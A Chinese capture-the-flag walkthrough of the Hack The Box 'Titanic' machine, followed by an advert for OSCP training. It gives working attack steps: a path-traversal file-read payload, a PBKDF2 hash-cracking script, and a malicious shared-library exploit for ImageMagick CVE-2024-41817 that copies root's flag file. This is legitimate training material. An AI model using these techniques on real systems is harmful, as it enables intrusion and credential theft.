【HTB】Titanic靶机渗透

admin 2025年4月6日23:09:41评论2 views字数 5477阅读18分15秒阅读模式

Linux靶机,通过抓包实现LFI漏洞利用,ffuf扫描子域名拿到dev,访问得到gitea库,源码泄露路径及数据库信息,查找版本号默认配置路径,结合靶机实际环境拼接语句读取,下载数据库文件,利用sqlite3读取,拿到账号密码加密值,利用工具/脚本爆破即可,登录发现泄露的.sh文件,读取内容关键信息,利用版本号查找cve漏洞,修改利用方法读取root.txt

靶机信息

【HTB】Titanic靶机渗透
image-20250328212319116

一、信息收集

  • 靶机ip:10.10.11.55
  • 攻击机ip:10.10.16.26

nmap扫描,发现有22和80端口,这里反向出了域名

【HTB】Titanic靶机渗透

设置域名解析

【HTB】Titanic靶机渗透

curl下载下来查看

【HTB】Titanic靶机渗透
image-20250330205025651

服务名

Server: Werkzeug 3.0.3   Python 3.10.12

查找历史漏洞,无可用的

【HTB】Titanic靶机渗透
image-20250331104138688

目录扫描

dirsearch扫描,扫出来很多jsp和swf文件

【HTB】Titanic靶机渗透

再使用Gobuster扫描一次

gobuster dir -u http://titanic.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 10

和上面的结果差不多

子域名爆破

执行以下命令

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FFUZ -H "Host: FFUZ.titanic.htb" -u http://titanic.htb -fw 20

得到一个dev子域名

【HTB】Titanic靶机渗透
image-20250330204407458

设置子域名域名解析

sudo sed -i '/10.10.11.55 titanic.htb/ s/$/ dev.titanic.htb/' /etc/hosts

二、边界突破

访问80页面,这里我的代理有点抽风,未能正常显示

【HTB】Titanic靶机渗透
image-20250330205603256

访问子域名查看,一个gitea插件界面

【HTB】Titanic靶机渗透

回到最初的80界面,滑到最下面有一个,提交信息界面,输入提交然后抓包

【HTB】Titanic靶机渗透
image-20250330211043087

提交之后会自动下载一个文件,是我们填入的信息

【HTB】Titanic靶机渗透
image-20250330211435481

查看burp,有两个请求包,POST包,提示我们被重定向,给了一个路径和参数,ticket

【HTB】Titanic靶机渗透
image-20250330211646360

查看GET包,存在参数,看样子应该是文件读取然后解析让我们下载,尝试文件包含

【HTB】Titanic靶机渗透

成功读取,并且发现一个用户具有bash,用户名:devloper,重点关注,接下来如果可以拿到其密码,就可以使用22端口ssh登录

【HTB】Titanic靶机渗透

这里想着根据htb平台靶机的特性,尝试直接读取user.txt,结果失败了,换一个路径即可成功读取,但是这不是我们的目的

http://titanic.htb/download?ticket=../../../../../../../home/developer/user.txt
【HTB】Titanic靶机渗透

重新回到dev子域名,注意这几个地方,先把版本号记录下来 1.22.1

【HTB】Titanic靶机渗透
image-20250331104504516

先注册一个账号

【HTB】Titanic靶机渗透

发现两个源码仓库

【HTB】Titanic靶机渗透

先看docker-config,发现数据库信息

【HTB】Titanic靶机渗透

记录下来

MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets 
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password

查看配置文件,发现一个路径**/home/developer/gitea/data:/data**

【HTB】Titanic靶机渗透
image-20250331105033922

查看app.py,发现LFI漏洞触发代码

【HTB】Titanic靶机渗透
image-20250331105425559

查看配置文件,这里可以猜测一下了,首先给的配置文件是直接/etc起手,那么可以理解是在文件系统下的用户,可以在kali试一下,而我们需要的是读取该配置文件,首先就需要拼接路径,而我们之前拿到一个数据路径/home/developer/gitea/data,所以猜测一下

/home/developer/gitea/data/gitea/conf/app.ini

这里就不需要拼接/etc路径了,会报错,因为前面拼接的路径是在/gitea下的,读取数据直接读该目录下的即可

【HTB】Titanic靶机渗透

查看成功,发现数据库路径,根据返回内容,应该可以使用sqlite3

【HTB】Titanic靶机渗透

直接访问,但是太乱了

【HTB】Titanic靶机渗透

下载到本地

curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db  --output gitea.db

查看,然后使用sqlite3连接

【HTB】Titanic靶机渗透

.tables查看所有表,发现一个表user,查看

【HTB】Titanic靶机渗透
image-20250331112024909

也可以直接双击该数据库查看

【HTB】Titanic靶机渗透
image-20250331135620416

信息如下,第三行是我们注册的信息,就不看了

1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0

查看信息,密码使用了pbkdf2¥50000¥50加密方式,这里hashcat跑有点慢,使用网上的脚本

import hashlib
import binascii

def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
return hash_value

def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)

    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
print(f"正在检查密码 {count}: {password}")
if hash_value == target_hash_bytes:
print(f"nFound password: {password}")
return password
print("Password not found.")
return None

salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

最后得出密码为25282528

hashcat

使用hashcat去跑,指定用户名

hashcat hash.txt -a 0 rockyou.txt --user

hash.txt

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

字段解释

  • developer:用户名
  • sha256:50000:sha256加密,迭代50000次
  • PjRSt4VE+L7pQA1pNtNA==:加密的salt值
  • 最后面:加密的密码hex值

结果

【HTB】Titanic靶机渗透
image-20250331140726503

三、权限提升

user.txt

ssh登录

【HTB】Titanic靶机渗透
image-20250331113711387

拿到user.txt

【HTB】Titanic靶机渗透
image-20250331113735799

root.txt

查看suid

【HTB】Titanic靶机渗透

查看网络监听,发现开着python

【HTB】Titanic靶机渗透
image-20250331114307038

查看进程,存在开启的python文件

【HTB】Titanic靶机渗透

scripts下发现一个文件identify_images.sh

【HTB】Titanic靶机渗透
image-20250331114753405

查看文件,注意这个二进制文件**/usr/share/magick**,查看版本

【HTB】Titanic靶机渗透

利用版本号查找历史漏洞

【HTB】Titanic靶机渗透
image-20250331115411689

查看利用方法

【HTB】Titanic靶机渗透
image-20250331115629538

下载脚本,构造语句利用

python3 exploit.py -H 10.10.11.55 -p 22 -u developer -P 25282528 -d

存在漏洞

【HTB】Titanic靶机渗透
image-20250331115813555

exp漏洞利用网站;https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

先尝试利用,发现可以执行id命令

【HTB】Titanic靶机渗透
image-20250331120429095

修改代码把root.txt下载到靶机目录下并赋予权限读取

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
exit(0);
}
EOF

执行查看

【HTB】Titanic靶机渗透
image-20250331120632810

四、总结

  • LFI文件包含漏洞

  • Gitea源码信息泄露路径拼接获取信息

  • ImageMagick 任意代码执行 (CVE-2024-41817)

end

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

【HTB】Titanic靶机渗透

资料:

【HTB】Titanic靶机渗透

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,网恋避险工具,红盟工具等,还有很多src挖掘资料包

【HTB】Titanic靶机渗透
【HTB】Titanic靶机渗透
【HTB】Titanic靶机渗透

学习交流群

公众号后台这里选择学习交流即可,如果图片二维码过期,可以加我微信获取

【HTB】Titanic靶机渗透

原文始发于微信公众号(泷羽Sec-track):【HTB】Titanic靶机渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日23:09:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HTB】Titanic靶机渗透https://cn-sec.com/archives/3917299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息